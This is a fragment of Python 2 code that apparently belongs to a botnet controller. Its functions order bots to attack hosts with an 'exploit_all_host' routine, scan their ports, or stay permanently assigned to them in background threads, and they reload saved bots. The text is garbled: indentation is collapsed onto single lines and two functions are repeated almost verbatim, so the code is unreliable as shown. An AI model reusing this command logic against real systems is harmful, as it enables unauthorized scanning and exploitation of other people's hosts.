def bot_command(bot_id, action, host_id): global PORTS host = hosts.get_host(host_id[0]) bot = get_bot(bot_id) if host != None and bot != None: if bot.status != STATUS['3']: if action == "attack": bot.host = host bot.exploit_all_host(host) elif action == "scan": if len(host_id) == 1: address = host.address bot.scan_one_host_ports(host, PORTS) elif action == "assign": bot.host = host bot.assign(host, PORTS) elif action == "protect": bot.host = host bot.protect(host) elif action == "ping": bot.start_ping(host.address) else: printB("[!] Action unrecognized") else: printB("[!] Bot is permanently assigned.") else: printB("[!] Host or Bot does not exist.")
def bot_permanent_assignment(bot_id, host_id): global PORTS host = hosts.get_host(host_id[0]) bot = get_bot(bot_id) t=Thread(target=bot.full_mode, args=(host, PORTS)) t.daemon=True t.start() print "bot assigned"
def bot_permanent_assignment(bot_id, host_id): global PORTS host = hosts.get_host(host_id[0]) bot = get_bot(bot_id) t = Thread(target=bot.full_mode, args=(host, PORTS)) t.daemon = True t.start() print "bot assigned"
def add_existant_Bot(bot_JSON): global newBot global BOT_COUNT newBot = bot.Bot(bot_JSON['bot_id']) newBot.status = bot_JSON['status'] newBot.record = bot_JSON['record'] newBot.full_mode_record = bot_JSON['full_mode_record'] newBot.targetHost = bot_JSON['targetHost'] botNet[str(bot_JSON['bot_id'])] = newBot BOT_COUNT += 1 if newBot.status == STATUS["3"]: host = hosts.get_host(str(newBot.targetHost['id'])) newBot.continue_full_mode(host, PORTS) printB("[+] BOT " + str(newBot.id) + " resuming PERMANENT ASSIGNMENT ON HOST " +str(host.id) +".")
def add_existant_Bot(bot_JSON): global newBot global BOT_COUNT newBot = bot.Bot(bot_JSON['bot_id']) newBot.status = bot_JSON['status'] newBot.record = bot_JSON['record'] newBot.full_mode_record = bot_JSON['full_mode_record'] newBot.targetHost = bot_JSON['targetHost'] botNet[str(bot_JSON['bot_id'])] = newBot BOT_COUNT += 1 if newBot.status == STATUS["3"]: host = hosts.get_host(str(newBot.targetHost['id'])) newBot.continue_full_mode(host, PORTS) printB("[+] BOT " + str(newBot.id) + " resuming PERMANENT ASSIGNMENT ON HOST " + str(host.id) + ".")